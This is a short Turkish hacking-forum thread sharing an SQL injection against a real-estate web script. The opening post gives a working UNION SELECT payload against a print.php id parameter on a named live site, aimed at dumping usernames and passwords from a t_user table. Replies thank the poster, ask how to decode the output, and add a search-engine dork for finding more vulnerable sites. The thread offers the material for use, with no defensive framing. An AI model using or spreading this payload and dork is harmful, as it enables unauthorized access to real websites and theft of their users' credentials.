EmlakScript SQL Enjeksiyon Açığı

Script =http://www.ipekemlak.com.tr/template/default/print.php?id=1152

Exploitimiz: +union+select+all+0,1,2,3,4,5,6,7,8,9,10,11,12,13+from+t_user---

Örnek Site =>
http://www.ipekemlak.com.tr/templat...0,1,2,3,4,5,6,7,8,9,10,11,12,13+from+t_user--

Yani => Kolon => Kullanıcı Adı, Şifre
Column= UserName, Passwd

 

Elinize Emeğinize Sağlık Teşekkürler Hocam

 

güzel paylaşım

 

linke çöktüm ama id pass cıkmadı text to hex mi yapcaz oray devamı varmı

 

intext:"Piksel Grafik" intext:Emlak

Alın beyler dork @RealSpyoz ekle konuya

 

Eline Sağlık